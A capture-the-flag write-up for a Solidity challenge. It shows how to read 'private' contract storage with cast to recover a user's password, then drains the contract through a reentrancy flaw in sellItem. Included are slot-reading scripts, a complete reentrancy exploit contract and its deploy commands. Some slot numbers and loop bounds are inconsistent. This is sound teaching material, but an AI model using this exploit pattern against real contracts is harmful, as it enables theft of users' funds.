🧠 Challenge Summary

We were given a smart contract Lockers.sol where users can manage virtual items, each with a name, an owner, and a rarity level (Common, Rare, Epic, Mythic). Each rarity has a set price. Users register with a username and password. They can add items, view item details, delete items, change an item’s owner, or sell items. Selling an item automatically sends its value to the previous owner’s linked wallet. A password check secures all key actions. The challenge goal is to make the TARGET() balances 0 and triggering isSolved() in the Setup.sol.

Vulnerability

🔓 Private Data Leakage via Storage Layout

Solidity’s storage is publicly accessible on-chain, even if variables are marked private. By understanding how the EVM stores different types of variables, we can read sensitive data directly from storage using tools like forge cast

This challenge exposed two key private structures:

mapping(string => string) // for usernames and passwords
mapping(string => address) private usernameToWallet; // for wallet

...

Item[] private items; // for items

Storage Layout

Mappings like:

mapping(string => string) private users; // stored at slot 0

Store the value at:

mappingSlotUsers = keccak256(abi.encodePacked(key, 0))

Where key is the string key and mappingSlot is the slot of the mapping.

If the string value stored is ≄ 32 bytes, it doesn’t inline the value; instead, it stores the data at: slot = keccak256(abi.encodePacked(key, mappingSlot))

Using forge cast:

# 1. Compute the slot
cast index string <key> <mappingSlot>

# 2. Read the value from the slot
cast storage <target> <slot>                    # For short strings
cast storage <target> $(cast keccak <slot>)     # For long strings

But how if the mapping is a dynamic array of structs?

struct Item {
    string name;
    address owner;
    uint8 rarity;
    uint256 value;
}
mapping(uint256 => Item) public items; // stored at slot 1

To read the Item struct, we can use the following approach:

# Get the length of the items array
cast storage <target> 1

# Compute the base
cast keccak 0x01

# Iterate through the item_length (i)
slot0 = base + i * 3      # name
slot1 = base + i * 3 + 1  # owner
slot2 = base + i * 3 + 2  # rarity

# Read the values
cast storage <target> <slotN>

🔁 Reentrancy Vulnerability

The sellItem function in the Lockers contract contains a critical reentrancy flaw:

(bool success,) = usernameToWallet[prevOwner].call{value: price[_item.rarity]}("");
require(success);
delete items[index];

This violates the Checks-Effects-Interactions pattern:

  • Interaction happens first — it sends ETH to usernameToWallet[prevOwner].
  • Effect (state mutation) happens after — it deletes the item from items[index].

Because call is a low-level function that forwards all available gas, if the recipient is a contract with a receive() or fallback() function, it can re-enter sellItem() before the item is deleted, allowing multiple withdrawals of the same item’s value.

Exploitation

So our goals is clear, find an item with rarity = Mythic (value = 3), retrieve its owner, extract the owner’s password, then exploit the reentrancy vulnerability in sellItem.

  1. Retrieve the Mythic Item

    I’m using automated scripts to read the storage and find the Mythic item:

    # Get the length of the items array
    itemsLengthHex=$(cast storage ${TARGET_ADDR} ${itemsSlot} --rpc-url ${RPC_URL})
    itemsLength=$((itemsLengthHex))
    echo "Items Length: ${itemsLength}"
    
    # Compute the base slot for items
    itemsSlot=$(printf "0x%064x" "3") 
    baseSlot=$(cast keccak ${itemsSlot})
    
    # Iterate through the items
    for ((i=0; i<itemsLength+1; i++)); do
        slot0Hex=$(python3 -c "print(hex(int('${baseSlot}', 16) + ${i} * 3))")
        slot1Hex=$(python3 -c "print(hex(int('${baseSlot}', 16) + ${i} * 3 + 1))")
        slot2Hex=$(python3 -c "print(hex(int('${baseSlot}', 16) + ${i} * 3 + 2))")
        echo "slot0Hex: ${slot0Hex}"
        echo "slot1Hex: ${slot1Hex}"
        echo "slot2Hex: ${slot2Hex}"
    
        # Read values
        name=$(cast storage ${TARGET_ADDR} ${slot0Hex} --rpc-url ${RPC_URL})
        owner=$(cast storage ${TARGET_ADDR} ${slot1Hex} --rpc-url ${RPC_URL})
        rarity=$(cast storage ${TARGET_ADDR} ${slot2Hex} --rpc-url ${RPC_URL})
    
        echo "Item $i:"
        echo "  name   : $name"
        echo "  owner  : $owner"
        echo "  rarity : $rarity"
    done
    
    slot0Hex: 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f86d
    slot1Hex: 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f86e
    slot2Hex: 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f86f
    Item 6:
    name   : 0x57697a617264735363657074657200000000000000000000000000000000001c
    owner  : 0x62656c6965667370616365000000000000000000000000000000000000000016
    rarity : 0x0000000000000000000000000000000000000000000000000000000000000003
    

    And we found the Mythic item on index 6 with the name WizardsScepter, owned by beliefspace.

  2. Retrieve the Owner’s Password

    Next, we need to retrieve the owner’s password. The password is stored in a mapping with the username as the key:

    mapping(string => string) private users;
    

    To find the password for beliefspace, we can use the same storage reading technique:

    # Compute the slot for the username
    username="beliefspace"
    usernameSlot=$(cast index string ${username} 0)
    # Read the password from the slot
    password=$(cast storage ${TARGET_ADDR} ${usernameSlot} --rpc-url ${RPC_URL})
    # 0x0000000000000000000000000000000000000000000000000000000000000051
    

    There’s no password here, instead we got a 0x51 which is the length of the password. So, the password is stored in a separate slot because it exceeds 32 bytes. We can compute the slot for the password as follows:

    # Compute the slot for the password
    passwordSlot=$(cast keccak ${usernameSlot} 0)
    
    # Read the password from the slot
    password=$(cast storage ${TARGET_ADDR} ${passwordSlot} --rpc-url ${RPC_URL})
    
    # Next slot for the password
    password=$(cast storage ${TARGET_ADDR} ${passwordSlot+1} --rpc-url ${RPC_URL})
    

    Now we have the full password for beliefspace: ss4#Nq7nNyKMfZ=XESnOzP2hk:SSRCzo2QPk4w~~

  3. Exploit the Reentrancy Vulnerability

    Now that we have the Mythic item and the owner’s password, we can exploit the reentrancy vulnerability in the sellItem function. We will create a malicious contract that will call sellItem repeatedly before the item is deleted.

    // SPDX-License-Identifier: UNLICENSED
    pragma solidity ^0.8.13;
    
    import {Setup} from "./Setup.sol";
    import {Lockers} from "./Lockers.sol";
    
    contract Exploit {
        Setup public immutable s;
        Lockers public target;
        string targetPassword = "ss4#Nq7nNyKMfZ=XESnOzP2hk:SSRCzo2QPk4w~~";
        string targetUsername = "beliefspace";
        string targetItem = "WizardsScepter";
    
        string myUsername = "dapa";
        string myPassword = myUsername;
    
        constructor(Setup _s) {
            s = _s;
            target = _s.TARGET();
        }
    
        function exploit() external {
            target.getLocker(myUsername, myPassword);
    
            target.transferItem(targetItem, myUsername, targetPassword);
            target.sellItem(targetItem, myPassword);
    
            assert(s.isSolved() == true);
        }
    
        receive() external payable {
            // REENTRANCY: Call sellItem again
            // This will re-enter the sellItem function before the item is deleted
            if (address(target).balance > 0) {
                target.sellItem(targetItem, myPassword);
            }
        }
    }
    
  4. Deploy and Execute the Exploit

    To deploy and execute the exploit, we can use a script like this:

    forge create src/Exploit.sol:Exploit \
        --broadcast \
        --rpc-url ${RPC_URL} \
        --private-key ${PRIVATE_KEY} \
        --constructor-args ${SETUP_ADDR} \
    

    After deploying the exploit contract, we can call the exploit() function to trigger the reentrancy attack and empty the TARGET() balance.

    cast send -r ${RPC_URL} --private-key ${PRIVATE_KEY} ${EXPLOIT_ADDR} "exploit()"
    

Conclusion

By leveraging the private data leakage and the reentrancy vulnerability, we successfully drained the TARGET() balance and triggered the isSolved() function in the Setup.sol. This challenge highlights the importance of understanding Solidity’s storage layout and the potential risks of reentrancy vulnerabilities in smart contracts. Always ensure to follow best practices like the Checks-Effects-Interactions pattern to mitigate such risks.